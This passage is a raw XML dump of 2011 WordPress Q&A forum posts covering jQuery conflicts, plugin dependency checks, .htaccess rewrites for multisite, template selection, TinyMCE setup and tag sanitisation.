  <row Id="24718" PostTypeId="1" CreationDate="2011-08-02T18:14:52.147" Score="0" ViewCount="26" Body="&lt;p&gt;I would like to use Wordpress 3.x in multiuser-mode but I also would like to keep my root directory tidy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network#WordPress_Settings_Requirements&quot; rel=&quot;nofollow&quot;&gt;doc&lt;/a&gt; says, that's impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I think it could be possible, when I would put a .htaccess file in the root folder that looks like this (URL = url.com, folder = wordpress/):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^url\.com$ [OR]&#xA;RewriteCond %{HTTP_HOST} ^www\.url\.com$&#xA;RewriteCond %{REQUEST_URI} !^/wordpress/&#xA;RewriteRule (.*) /wordpress/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would that work? And if not, why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="4544" LastActivityDate="2011-08-02T18:14:52.147" Title="give Wordpress 3.x (with multiuser mode enabled) it's own subdirectory with a .htaccess hack" Tags="&lt;multisite&gt;&lt;htaccess&gt;&lt;subdirectories&gt;" CommentCount="1" />
  <row Id="24719" PostTypeId="1" AcceptedAnswerId="24725" CreationDate="2011-08-02T18:14:57.980" Score="1" ViewCount="67" Body="&lt;p&gt;I have been trying and trying to fix jquery issues. i have in my header lots of jquery. I use it for slider and other things that are built into this premade theme. I am unable to add anything that uses jquery because of conflict. i need some help.  The board is www.cgwhat.com. The forgot password is jquery and the slider is controlled by jquery also. I wanted to add another plugin but can not because of the  conflict. Also with the forgot password that is jquery. I need to know what is wrong and how to fix it . If i remove calls to javascript in header it is fixed. The forgot password works but everything else breaks. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/jquery.equalHeight.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/js/flashobject.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/js/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/js/jquery.jcarousel.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/js/jquery.actions.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; jQuery(document).ready(function($){&#xA;var fC=$('#features-nav .features-nav-item').length;&#xA;curS=1;&#xA;var cInt=0;&#xA;    cInt=setInterval(function(){&#xA;        $('#features-nav .features-nav-item:eq('+curS+')').addClass('current').trigger('click');&#xA;        curS++;&#xA;        if(curS&amp;gt;=fC) curS=0;&#xA;    },10000);});&#xA;&#xA;&amp;lt;/script&amp;gt; &#xA;&#xA;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7558" LastEditorUserId="7558" LastEditorDisplayName="" LastEditDate="2011-08-02T18:22:45.620" LastActivityDate="2011-08-02T20:01:20.310" Title="Jquery conflict " Tags="&lt;jquery&gt;&lt;javascript&gt;" AnswerCount="2" />
  <row Id="24720" PostTypeId="2" ParentId="24717" CreationDate="2011-08-02T18:17:40.493" Score="3" ViewCount="" Body="&lt;p&gt;My method to handle a similar situation was to look for a core class or function in the plugin dependency and check if it exists. For instance, I built a plugin that depended upon the Simple Term Meta plugin. I checked for it using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!function_exists('simple_term_meta_install'))&#xA;{&#xA;    // Do stuff to download plugin&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my plugin, I simply packaged the plugin with my plugin. I would only run it if it wasn't already installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other option would be to prompt the user to download the plugin and install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of how you would download it automatically...I do not know. I would look to see how the WP core manages this and try to glean some knowledge from the built in system.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-02T18:17:40.493" />
  <row Id="24721" PostTypeId="1" AcceptedAnswerId="24723" CreationDate="2011-08-02T18:34:13.310" Score="1" ViewCount="21" Body="&lt;p&gt;Does anyone know any wordpress plugin to display the author's profile &amp;amp; image &lt;strong&gt;similar&lt;/strong&gt; to the image attached&#xA;&lt;img src=&quot;http://i.stack.imgur.com/i8PLM.png&quot; alt=&quot;Authors Details&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2011-08-02T19:05:41.697" Title="Wordpress author details plugin/widget" Tags="&lt;plugins&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="24722" PostTypeId="2" ParentId="24717" CreationDate="2011-08-02T18:47:48.390" Score="4" ViewCount="" Body="&lt;p&gt;I would encourage against this, but I understand what you're trying to do and do something similar myself.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How I do it&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I build themes that depend on plugins, plugins that depend on plugins, and plugins that depend on plugins that depend on other plugins.  If I'm controlling both sides of the development, I do things in two pieces ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the plugin that &lt;em&gt;will be required&lt;/em&gt; by something else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'my-cool-plugin-name-installed', '__return_true' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the plugin/theme that &lt;em&gt;will require the other plugin&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! apply_filters( 'my-cool-plugin-name-installed', false ) )&#xA;    add_action( 'admin_notices', 'my-cool-plugin-name_not_installed' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I add a bright &quot;Please install my super-cool plugin&quot; notice to the top of the admin screen with a link to the download page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives me a surefire way to check that my dependencies exist and are installed.  If the plugin is installed but not activated, the warning still shows up.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Another way&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Another option has already been recommended by @tollmanz.  I won't copy-paste his solution, but checking for the existence of a core function of your dependent plugin is a great way to make sure it's there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, if the plugin is installed but inactive, this route will only detect if it's active.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Why I do things this way&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First of all, I don't like other people's tools downloading extra stuff to my site.  So I don't force that paradigm on other users.  Instead, I prompt them to download the extra code and point them in the right direction.  A cleaner way would be to tie in with the automated installer so they could pull down the plugin with a single click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, several users of my code are on servers where they can't use the one-click installer (or automated downloads at all).  They have to FTP plugins to install them, so a silent download-and-activate-a-dependency system wouldn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you're working with someone else's code, you have 0 control over when they ship new releases, if they introduce bugs, or &lt;a href=&quot;http://wpcandy.com/reports/wordpress-org-user-password-reset-required&quot; rel=&quot;nofollow&quot;&gt;if they're hacked&lt;/a&gt;.  So don't automatically install code for which you can't claim responsibility.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-02T18:47:48.390" CommentCount="2" />
  <row Id="24723" PostTypeId="2" ParentId="24721" CreationDate="2011-08-02T19:05:41.697" Score="3" ViewCount="" Body="&lt;p&gt;here are a few:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/author-bio-widget/&quot; rel=&quot;nofollow&quot;&gt;Author Bio Widget&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/just-another-author-widget/&quot; rel=&quot;nofollow&quot;&gt;Just Another Author Information Widget&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/user-bio-widget/&quot; rel=&quot;nofollow&quot;&gt;User Bio Widget&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-02T19:05:41.697" />
  <row Id="24724" PostTypeId="1" AcceptedAnswerId="24741" CreationDate="2011-08-02T19:09:33.003" Score="1" ViewCount="45" Body="&lt;p&gt;I read the answer for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17622/custom-post-type-archive-with-dynamic-taxonomy-filtering-is-it-possible&quot;&gt;this post&lt;/a&gt; which says you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com?post_type=car&amp;amp;color=red&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When viewing $wp_query everything seems to be working fine. That is, I'm getting 'car' post types that have the 'red' term assigned. However, the request uses the 'color' custom taxonomy template. (In my case this is taxonomy.php.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get this request to use the 'archive-car.php' custom post type template instead?&lt;/p&gt;&#xA;" OwnerUserId="7152" LastEditorUserId="7152" LastEditorDisplayName="" LastEditDate="2011-08-02T19:25:57.937" LastActivityDate="2011-08-03T16:38:27.137" Title="How can I get this request to use the Custom Post Type page template instead?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;template&gt;&lt;archive&gt;" AnswerCount="2" />
  <row Id="24725" PostTypeId="2" ParentId="24719" CreationDate="2011-08-02T19:14:19.163" Score="3" ViewCount="" Body="&lt;p&gt;At least one issue I can see is that you're including the jQuery framework at least twice.  The first line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the preferred method of including jQuery.  Your installation of WordPress happens to include jQuery version 1.4.2.  This allows good plugin and theme developers to leverage jQuery and not accidentally include it manually several times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you also have (on line 6)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/js/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which includes jQuery 1.2.6.  Maybe one of your plugins is trying to inject this?  Or perhaps this is generated in your theme (in which case you can delete it, assuming your plugins are compatible with the built in version of jQuery which is version 1.4.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you resolve that issue, any further javascript errors can be isolated to a specific script or plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Addition info...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you've removed the extra jquery include, a different error has surfaced.  Using Firebug or Chrome's debugger or your other favorite JavaScript debugger, you can see that the new error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ is not a function (jquery.actions.js, line 18)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that you are attempting to use the jQuery shorthand selector but have wrapped your document ready using the full &quot;jQuery&quot; object name syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In jquery.actions.js, replace each &quot;$&quot; reference with &quot;jQuery&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will get your slider working.  But you'll also notice that you have other errors in your JavaScript...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pos is null (undo.js, line 367)&#xA;&#xA;threads[x] is undefined (_display, line 915)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may or may not care about those errors depending on how they affect your site.  I tend to like to eliminate any and all errors for performance and stability.  Some browsers will crash worse than others.&lt;/p&gt;&#xA;" OwnerUserId="6737" LastEditorUserId="6737" LastEditorDisplayName="" LastEditDate="2011-08-02T19:48:24.967" LastActivityDate="2011-08-02T19:48:24.967" CommentCount="6" />
  <row Id="24727" PostTypeId="2" ParentId="2474" CreationDate="2011-08-02T19:34:41.593" Score="1" ViewCount="" Body="&lt;p&gt;I would also add this Javascript Hack :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&amp;gt;&#xA;    jQuery(document).ready(function ($) {&#xA;        $('.handlediv').remove();&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and this CSS :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.postbox .hndle {&#xA;    cursor:default;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used that code to take advantage of the meta boxes but without the drag-and-drop and the open/close functions.&lt;/p&gt;&#xA;" OwnerUserId="7559" LastActivityDate="2011-08-02T19:34:41.593" />
  <row Id="24728" PostTypeId="2" ParentId="7693" CreationDate="2011-08-02T19:47:12.690" Score="-1" ViewCount="" Body="&lt;p&gt;This is a great drop-in script that I use and it works beautifully with the serialized arrays that WP uses to store options.  Just make sure to delete it from your remote server when you're done because it's a HUGE security risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://interconnectit.com/124/search-and-replace-for-wordpress-databases/&quot; rel=&quot;nofollow&quot;&gt;http://interconnectit.com/124/search-and-replace-for-wordpress-databases/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7561" LastActivityDate="2011-08-02T19:47:12.690" CommentCount="1" />
  <row Id="24729" PostTypeId="2" ParentId="24698" CreationDate="2011-08-02T19:47:53.517" Score="0" ViewCount="" Body="&lt;p&gt;Sorry to repost here - I can't comment yet. Vote me up to 50 and help us both out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, looking at your theme, in your stylesheet you are referencing 'Template: twentyten' instead of 'Template:twentyeleven'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress may be confused about where to look for which files. I would start by correcting that and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="6062" LastActivityDate="2011-08-02T19:47:53.517" CommentCount="1" />
  <row Id="24730" PostTypeId="2" ParentId="24724" CreationDate="2011-08-02T20:01:06.683" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure that's possible. My understanding is that whenever you are viewing posts that are filtered by a taxonomy wordpress looks for taxonomy templates. Based on hierarchy you could get rid of any taxonomy pages and only have archive pages available as templates, but that seems a bit extreme and not too useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you hoping to achieve with this code? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build functions into your archive-car.php page to react to cars in a specific color term. Perhaps that will get you the functionality you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="6062" LastActivityDate="2011-08-02T20:01:06.683" CommentCount="2" />
  <row Id="24731" PostTypeId="2" ParentId="24719" CreationDate="2011-08-02T20:01:20.310" Score="2" ViewCount="" Body="&lt;p&gt;Two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The call to &lt;code&gt;wp_head()&lt;/code&gt; &lt;strong&gt;must come &lt;em&gt;immediately&lt;/em&gt; before the closing &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Instead of hard-coding your script links, you should be &lt;strong&gt;enqueueing all scripts&lt;/strong&gt;, including any necessary dependencies. &lt;/li&gt;&#xA;&lt;li&gt;Instead of hard-coding your custom script, put it in a script file, e.g. &lt;code&gt;custom.js&lt;/code&gt;, and &lt;em&gt;enqueue it also&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cascade your enqueued scripts as necessary, using the &lt;code&gt;$deps&lt;/code&gt; argument, to ensure that all load in the correct order.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;e.g. remove all your script calls from the document head, and then add the following in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_enqueue_scripts() {&#xA;    $scriptsrc = get_template_directory_uri() . '/js/';&#xA;    wp_enqueue_script( 'jquery' );&#xA;    wp_enqueue_script(&#xA;        'flashobject',&#xA;        $scriptsrc . 'flashobject.js'&#xA;    }&#xA;    wp_enqueue_script(&#xA;        'equalheight',&#xA;        $scriptsrc . 'jquery.equalHeight.js',&#xA;        array( 'jquery' )&#xA;    }&#xA;    wp_enqueue_script(&#xA;        'jquerycarousel',&#xA;        $scriptsrc . 'jquery.carousel.js',&#xA;        array( 'equalheight' )&#xA;    }&#xA;    wp_enqueue_script(&#xA;        'jqueryactions',&#xA;        $scriptsrc . 'jquery.actions.js',&#xA;        array( 'carousel' )&#xA;    }&#xA;    wp_enqueue_script(&#xA;        'custom',&#xA;        $scriptsrc . 'custom.js',&#xA;        array( 'actions' )&#xA;    }&#xA;}&#xA;add_action( 'wp_head', 'mytheme_enqueue_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should resolve any issues you're having with script/library conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you'll need to ensure that you're u&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#jQuery_noConflict_wrappers&quot; rel=&quot;nofollow&quot;&gt;sing jquery no-conflict wrappers properly&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-02T20:01:20.310" CommentCount="1" />
  <row Id="24733" PostTypeId="1" CreationDate="2011-08-02T20:38:11.783" Score="1" ViewCount="39" Body="&lt;p&gt;All of the posts made within custom posttypes have suddenly become uneditable, and will 404 when you try to view them.&lt;img src=&quot;http://i.stack.imgur.com/OpENn.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The posts in the admin panel are greyed out (posts in the standard post/pages etc are fine).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things I have Tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have tried using &lt;code&gt;GIT BISECT&lt;/code&gt; but problem persists beyong where I know it to be working.&lt;/li&gt;&#xA;&lt;li&gt;Tried downgrading wordpress&lt;/li&gt;&#xA;&lt;li&gt;Checked various database elements such as post status and post author.&lt;/li&gt;&#xA;&lt;li&gt;Tried setting and resetting permalinks.&lt;/li&gt;&#xA;&lt;li&gt;Deactivated All plugins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;New posts seem to be fine, and work normally. But my metaboxes have also vanished!! Again, &lt;code&gt;GIT&lt;/code&gt; suggests this problem going back beyond where I know them to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems, as &lt;code&gt;GIT&lt;/code&gt; is incapable of finding the solution, that it must either be related to the database or the wordpress core itself (as my GIT repo only tracks the theme)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress is up to date.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;This is the function that creates the post types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type($object_name,&#xA;        array(&#xA;            'labels' =&amp;gt; mf_create_labels($object_name),&#xA;            'public' =&amp;gt; true,&#xA;            'supports' =&amp;gt; array('title','editor','thumbnail','page-attributes')         &#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using this to create labels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mf_create_labels($label){&#xA;    return array(&#xA;        'name' =&amp;gt; __($label),&#xA;        'singular_name' =&amp;gt; __($label),&#xA;        'add_new' =&amp;gt; _x('Add New', $label),&#xA;        'add_new_item' =&amp;gt; __('Add New '.$label),&#xA;        'edit_item' =&amp;gt; __('Edit '.$label),&#xA;        'new_item' =&amp;gt; __('New '.$label),&#xA;        'view_item' =&amp;gt; __('View '.$label),&#xA;        'search_items' =&amp;gt; __('Search '.$label),&#xA;        'not_found' =&amp;gt;  __('No ' . $label . ' found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No ' . $label . '  found in Trash'), &#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got the meta boxes back, it seems Wordpress now insists on having the posttype declared in all lower case, despite be declaring the post types with capital letters&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please, if you have any idea where to look for the issue, comment. No suggestion too small at this stage&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-08-02T21:27:53.640" LastActivityDate="2011-08-02T23:04:18.153" Title="All of my custom posttypes are 404'ing" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="9" />
  <row Id="24734" PostTypeId="1" CreationDate="2011-08-02T20:50:00.223" Score="0" ViewCount="48" Body="&lt;p&gt;It's possible to insert posts by users through the front-end by using plugins such as gravity forms or by using wp_insert_post. However, how would one handle the editing of those posts? This has to be in a safe/foolproof/secure way for users.&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-02T21:03:47.963" Title="edit posts through front-end" Tags="&lt;editor&gt;&lt;front-end&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="24735" PostTypeId="2" ParentId="22415" CreationDate="2011-08-02T20:51:34.670" Score="0" ViewCount="" Body="&lt;p&gt;Solved it myself by loading tinymce in the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('tiny_mce');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will include the TinyMCE javascript. Then simply use TinyMCE as you wish&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; tinyMCE.init({&#xA;    mode : &quot;textareas&quot;,&#xA;    theme : &quot;advanced&quot;,&#xA;    plugins : &quot;autolink,lists,spellchecker,pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template&quot;,&#xA;&#xA;    theme_advanced_buttons1 : &quot;save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect,fontselect,fontsizeselect&quot;,&#xA;    theme_advanced_buttons2 : &quot;cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor&quot;,&#xA;    theme_advanced_buttons3 : &quot;tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen&quot;,&#xA;    theme_advanced_buttons4 : &quot;insertlayer,moveforward,movebackward,absolute,|,styleprops,spellchecker,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,blockquote,pagebreak,|,insertfile,insertimage&quot;,&#xA;    theme_advanced_toolbar_location : &quot;top&quot;,&#xA;    theme_advanced_toolbar_align : &quot;left&quot;,&#xA;    theme_advanced_statusbar_location : &quot;bottom&quot;,&#xA;    theme_advanced_resizing : true,&#xA;&#xA;    skin : &quot;o2k7&quot;,&#xA;    skin_variant : &quot;silver&quot;,&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-02T20:51:34.670" />
  <row Id="24736" PostTypeId="1" AcceptedAnswerId="26464" CreationDate="2011-08-02T20:58:59.793" Score="1" ViewCount="43" Body="&lt;p&gt;I have a custom post form that sends data to a page which uses wp_insert_post to create a post. I can easily sanitize most data, but I have some troubles with my tags, I retrieve in an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags =  $_POST['tags'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before using these tags as tags_input, how can I successfully sanitize all names?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-21T13:15:38.037" Title="wordpress sanitize array?" Tags="&lt;wp-insert-post&gt;&lt;sanitization&gt;" AnswerCount="2" />
  <row Id="24737" PostTypeId="2" ParentId="24734" CreationDate="2011-08-02T21:03:47.963" Score="-1" ViewCount="" Body="&lt;p&gt;What's the context or design purpose of the site?  Is it a community with multiple authors or a team site?  It might not be what you're looking for but you can enable users to post quick entries and replies, kind like a Twitter stream via &lt;a href=&quot;http://wordpress.org/extend/themes/p2&quot; rel=&quot;nofollow&quot;&gt;the P2 theme&lt;/a&gt;.  It is very, very simple but might work for you.&lt;/p&gt;&#xA;" OwnerUserId="7218" LastActivityDate="2011-08-02T21:03:47.963" CommentCount="3" />
  <row Id="24738" PostTypeId="1" AcceptedAnswerId="24739" CreationDate="2011-08-02T21:04:39.507" Score="0" ViewCount="32" Body="&lt;p&gt;I am using a code to call WP thumbnails and want to add a title=&quot;&quot; tag.  I would like the title to call the_title... how do I do so?  I want to assign the title tribute to the image, not the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail( 'thmb-archive' ); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5205" LastEditorUserId="5205" LastEditorDisplayName="" LastEditDate="2011-08-03T21:46:15.873" LastActivityDate="2011-08-03T21:46:15.873" Title="Add title=&quot;&quot; to A PHP Code" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="24739" PostTypeId="2" ParentId="24738" CreationDate="2011-08-02T21:11:15.957" Score="2" ViewCount="" Body="&lt;p&gt;Use the arguments available for &lt;code&gt;the_post_thumbnail(&lt;/code&gt;) function as written in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: just did a test with this and it worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_title = the_title( '', '', false);//get the title&#xA;$attr = array('title' =&amp;gt; $post_title);//set the parameter &#xA;the_post_thumbnail('full', $attr);//call the function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1997" LastEditorUserId="1997" LastEditorDisplayName="" LastEditDate="2011-08-02T21:29:23.197" LastActivityDate="2011-08-02T21:29:23.197" CommentCount="11" />
  <row Id="24740" PostTypeId="1" CreationDate="2011-08-02T21:29:38.473" Score="0" ViewCount="18" Body="&lt;p&gt;Ok, so this site's navigation is built up from Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my client wants specific grouping of the navigation items, ie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x&#xA;y&#xA;z&#xA;----&#xA;1&#xA;2&#xA;----&#xA;3&#xA;4&#xA;----&#xA;6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no conceivable way to group these logically. So i think my best bet is to just do something like &lt;code&gt;echo WpCat('x')&lt;/code&gt; and &lt;code&gt;echo WpCat('4')&lt;/code&gt; i know this isnt the code but the general idea is how can i only echo certain category names as and when i need to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-08-02T22:36:19.503" Title="List only categories i specify" Tags="&lt;categories&gt;" AnswerCount="1" 